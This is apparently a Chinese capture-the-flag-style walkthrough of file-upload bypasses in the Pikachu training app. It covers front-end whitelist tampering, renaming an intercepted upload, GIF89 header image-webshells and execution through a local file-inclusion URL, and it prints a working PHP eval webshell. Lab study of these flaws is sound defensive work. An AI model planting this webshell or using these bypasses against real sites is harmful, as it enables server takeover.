客户端check
方法一:
检查前端
我们先上传一个非图片的后门脚本 hack.php:
<?php
@eval($_POST['hack']);
?>
虽然前端的函数用了白名单进行过滤, 但是并不是安全的。
可以通过修改网页源码的方式来绕过:
就可以上传成功了
方法二:
新建一个1.jpg,内容是<?php @eval($_POST['test']);?>
选择1.jpg后,上传同时抓包
改成1.php
用中国菜刀连接
服务端check
和第一题一样的抓包
getimagesize(
,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
假如我们尝试上一关的方法, 是不能通过图片内容检测的:
上传1.jpg
方法一:
添加jpg图片的格式头到脚本
hack.jpg
GIF89
<?php
phpinfo();
?>
服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
利用 文件包含漏洞 可以将图片格式的文件当做php文件来解析执行:
http://localhost/pikachu-master/vul/fileinclude/fi_local.php
?filename=…/…/unsafeupload/uploads/2021/01/28/1807036012659735311527944868.jpg
&submit=提交查询
方法二:
jpg+php组合拳即用图片合成木马
用cmd
可以用winhex查看一下
http://localhost/pikachu-master/vul/fileinclude/fi_local.php
?filename=…/…/unsafeupload/uploads/2021/01/28/77254160126a696a14a467388821.jpg
&submit=提交查询